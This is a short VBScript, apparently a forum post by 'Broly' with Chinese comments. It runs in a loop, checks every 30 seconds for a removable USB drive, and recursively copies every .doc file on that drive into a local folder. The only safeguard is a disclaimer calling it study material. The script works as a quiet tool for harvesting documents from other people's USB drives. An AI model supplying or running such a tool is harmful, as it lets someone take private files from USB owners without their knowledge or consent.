- '//VBS复制U盘Doc文件 @CODE BY Broly
- '//声明:此VBS由Broly制作,代码仅作学习研究之用。使用前请三思而行,产生不良后果均与本人无关!
- Const DocPath="D:\DocPath\" '此处为你放DOC文件的文件夹,运行前请创建好
- Dim fso,Disks
- Set fso = CreateObject("Scripting.FileSystemObject")
- Do
- n=n+1
- Set Disks = fso.Drives
- For Each Disk In Disks
- If Disk.IsReady And Disk.DriveType = 1 Then
- Udisk=Disk.DriveLetter & ":\"
- U=True
- End if
- Next
- If U=True Then
- CopyDocs(Udisk)
- Else
- If n=1 Then
- Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
- End if
- End If
- WScript.Sleep 30000 '每30秒循环一次
- Loop
- Sub CopyDocs(path)
- Dim folder,subfolders,Files
- Set folder = fso.getfolder(path)
- Set subfolders = folder.subfolders
- Set Files = folder.Files
- For Each File In Files
- If fso.GetExtensionName(File.path)="doc" Then
- fso.CopyFile File.Path,DocPath,True '设置为True,表示如果文件存在则覆盖
- End if
- Next
- For Each subfolder In subfolders
- CopyDocs(subfolder.path) '递归查找子目录
- Next
- End Sub
复制代码
|